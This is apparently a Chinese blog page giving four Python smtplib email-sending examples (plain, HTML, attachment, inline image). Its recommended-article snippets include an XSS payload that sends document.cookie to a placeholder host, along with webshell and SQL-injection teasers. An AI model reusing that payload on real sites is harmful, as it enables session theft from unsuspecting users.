1、普通文本邮件

#!/usr/bin/env python
# -*- coding:utf-8 -*-
import smtplib
from email.mime.text import MIMEText
mail_user="xxxx@126.com" #发送邮件的邮箱
mail_pass="xxxxxxx" #密码,口令
mailto_list="xxxxx@qq.com" #接受邮件的邮箱
mail_host="smtp.126.com" #设置服务器 例:smtp.126.com strstr='你好' #内容
msg = MIMEText(strstr,'plain','utf-8') #邮件类型设置为plain
msg['Subject'] = "主题" #主题
msg['From'] = mail_user
msg['To'] = mailto_list
#邮件中文如果显示乱码,可以加上下面两句
msg["Accept-Language"]="zh-CN"
msg["Accept-Charset"]="ISO-8859-1,utf-8" server = smtplib.SMTP()
server.connect(mail_host) #连接smtp邮件服务器
server.login(mail_user,mail_pass) #登录
server.sendmail(mail_user, mailto_list, msg.as_string()) #发送
server.close() #关闭

2、HTML格式邮件

#!/usr/bin/env python
# -*- coding:utf-8 -*-
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
mail_user="xxxxxxx@126.com" #发送邮件的邮箱
mail_pass="xxxxxx" #口令
mailto_list="xxxxxx@qq.com" #接收邮件的邮箱
to_list=[mailto_list,]
mail_host="smtp.126.com" #设置服务器 msg = MIMEMultipart()
msg['Subject'] = "主题" #主题
msg['From'] = mail_user
msg['To'] = mailto_list
#正文
#<img src="cid:image1">为图片显示位置
strstr="""
<html>
<head>正文</head>
<body>
<h1>Hello</h1>
<h2>你们好</h2>
</body>
</html>
"""
htm=MIMEText(strstr,'html','utf-8') #邮件类型设置为html
msg.attach(htm) server = smtplib.SMTP()
server.connect(mail_host) #连接smtp邮件服务器
server.login(mail_user,mail_pass) #登录
server.sendmail(mail_user, to_list, msg.as_string()) #发送
server.close() #关闭

3、带附件的邮件

#!/usr/bin/env python
# -*- coding:utf-8 -*-
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.application import MIMEApplication
mail_user="xxxx@126.com" #发送邮件的邮箱
mail_pass="xxxxxxx" #口令
mailto_list="xxxxx@qq.com" #接收邮件的邮箱
to_list=[mailto_list,]
mail_host="smtp.126.com" #设置服务器 msg = MIMEMultipart()
msg['Subject'] = "主题" #主题
msg['From'] = mail_user
msg['To'] = mailto_list
#文字部分
strstr="Hello" #文字内容
att = MIMEText(strstr,'plain','utf-8')
msg.attach(att)
#附件
att = MIMEApplication(open('E:\\111.txt','rb').read()) #你要发送的附件地址
att.add_header('Content-Disposition', 'attachment', filename="222.txt") #filename可随意取名
msg.attach(att) server = smtplib.SMTP()
server.connect(mail_host) #连接smtp邮件服务器
server.login(mail_user,mail_pass) #登录
server.sendmail(mail_user, to_list, msg.as_string()) #发送
server.close() #关闭

4、正文显示图片的邮件

#!/usr/bin/env python
# -*- coding:utf-8 -*-
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
mail_user="xxxxx@126.com" #发送邮件的邮箱
mail_pass="xxxxxx" #口令
mailto_list="xxxxxx@qq.com" #接收邮件的邮箱
to_list=[mailto_list,]
mail_host="smtp.126.com" #设置服务器 msg = MIMEMultipart()
msg['Subject'] = "主题" #主题
msg['From'] = mail_user
msg['To'] = mailto_list
#正文
#<img src="cid:image1">为图片显示位置
strstr="""
<html>
<head>正文图片</head>
<body>
<p>Hello<br>
你们好<br>
<br><img src="cid:image1"></br>
</p>
</body>
</html>
"""
htm=MIMEText(strstr,'html','utf-8')
msg.attach(htm) image = MIMEImage(open("F:\\111.jpg",'rb').read())
image.add_header('Content-ID','<image1>')
msg.attach(image) server = smtplib.SMTP()
server.connect(mail_host)
server.login(mail_user,mail_pass)
server.sendmail(mail_user,mailto_list,msg.as_string())
server.quit()

python发送邮件方法的更多相关文章

  1. python发送邮件方法总结

    python中email模块使得处理邮件变得比较简单,今天着重学习了一下发送邮件的具体做法,这里写写自己的的心得,也请高手给些指点.     一.相关模块介绍 发送邮件主要用到了smtplib和ema ...

  2. 解读Python发送邮件

    解读Python发送邮件 Python发送邮件需要smtplib和email两个模块.也正是由于我们在实际工作中可以导入这些模块,才使得处理工作中的任务变得更加的简单.今天,就来好好学习一下使用Pyt ...

  3. python 发送邮件例子

    想到用python发送邮件 主要是服务器 有时候会产生coredump文件  ,然后因为脚本重启原因,服务器coredump产生后会重启 但是没有主动通知开发人员 想了下可以写个脚本一旦产生cored ...

  4. 【转】【Python】Python发送邮件(常见四种邮件内容)

    在写脚本时,放到后台运行,想知道执行情况,会通过邮件.SMS(短信).飞信.微信等方式通知管理员,用的最多的是邮件.在linux下,Shell脚本发送邮件告警是件很简单的事,有现成的邮件服务软件或者调 ...

  5. Python发送邮件(最全)

    简单邮件传输协议(SMTP)是一种协议,用于在邮件服务器之间发送电子邮件和路由电子邮件. Python提供smtplib模块,该模块定义了一个SMTP客户端会话对象,可用于使用SMTP或ESMTP侦听 ...

  6. python 发送邮件 <QQ+腾讯企业邮箱>

    一.使用QQ邮箱或者腾讯企业邮箱 python 发送邮件属于网络编程方向的,在工作中,我需要经常用邮件来检测我的程序运行状况.使用起来十分方便,这里我就用腾讯企业邮箱作为我的收发邮箱来使用. 使用py ...

  7. python接口自动化(三十二)--Python发送邮件(常见四种邮件内容)番外篇——上(详解)

    简介 本篇文章与前边没有多大关联,就是对前边有关发邮件的总结和梳理.在写脚本时,放到后台运行,想知道执行情况,会通过邮件.SMS(短信).飞信.微信等方式通知管理员,用的最多的是邮件.在linux下, ...

  8. Python发送邮件以及对其封装

    对Python发送邮件进行封装 Python发送邮件分为四步 连接到smtp服务器 登陆smtp服务器 准备邮件 发送邮件 导入所需要的包 import smtplib from email.mime ...

  9. Python发送邮件(常见四种邮件内容)

    Python发送邮件(常见四种邮件内容) 转载 2017年03月03日 17:17:04   转自:http://lizhenliang.blog.51cto.com/7876557/1875330 ...

随机推荐

  1. aspxshell下突破无可写可执行目录执行cmd

    try { var strPath:String = "c:\\windows\\temp\\cmd.exe", strUser:String = "everyone&q ...

  2. xss如何加载远程js的一些tips

    在早期 , 对于xss我们是这样利用的 <script>window.open('http://xxx.xxx/cookie.asp?msg='+document.cookie)</ ...

  3. 注入语句详解(get注入,cookie注入,搜索型注入等)

    注意:对于普通的get注入,如果是字符型,前加'   后加 and ''=' 拆半法 ###################################### and exists (select ...

  4. 2016HUAS暑假集训训练2 O - Can you find it?

    题目链接:http://acm.hust.edu.cn/vjudge/contest/121192#problem/O 这道题是一道典型二分搜素题,题意是给定3个数组 每个数组的数有m个 再给定l个s ...

  5. thinkphp 关于iframe一次提交完成所有操作

    一.上传操作html界面,upload.html <import type='css' file="admin.css.common" /> <import ty ...

  6. linux卸载mysql,apache,php

    卸载Mysql 1.查找以前是否装有mysql 命令:rpm -qa|grep -i mysql 可以看到mysql的包: mysql-3.23.58-9php-mysql-4.3.4-11mod_a ...

  7. numpy使用

    计算矩阵的一些用法: http://www.360doc.com/content/13/1104/17/9934052_326603249.shtml

  8. Android课程---Android Studio使用小技巧:提取方法代码片段

    这篇文章主要介绍了Android Studio使用小技巧:提取方法代码片段,本文分享了一个快速复制粘贴方法代码片段的小技巧,并用GIF图演示,需要的朋友可以参考下 今天来给大家介绍一个非常有用的Stu ...

  9. 【iCore3 双核心板_FPGA】Quartus 如何生成jic文件

    PDF下载: http://pan.baidu.com/s/1i5lQ0Rj iCore3 购买链接: https://item.taobao.com/item.htm?id=524229438677

  10. Windows2003中IIS的安全设置技巧

    在Windows Server 2003中对于IIS的安全设置具有十分重要的意义,所以掌握IIS安全设置的六大技巧是一个网管员必备的基本技能.下面就是对IIS的安全设置的六大技巧. 技巧1.安装系统补 ...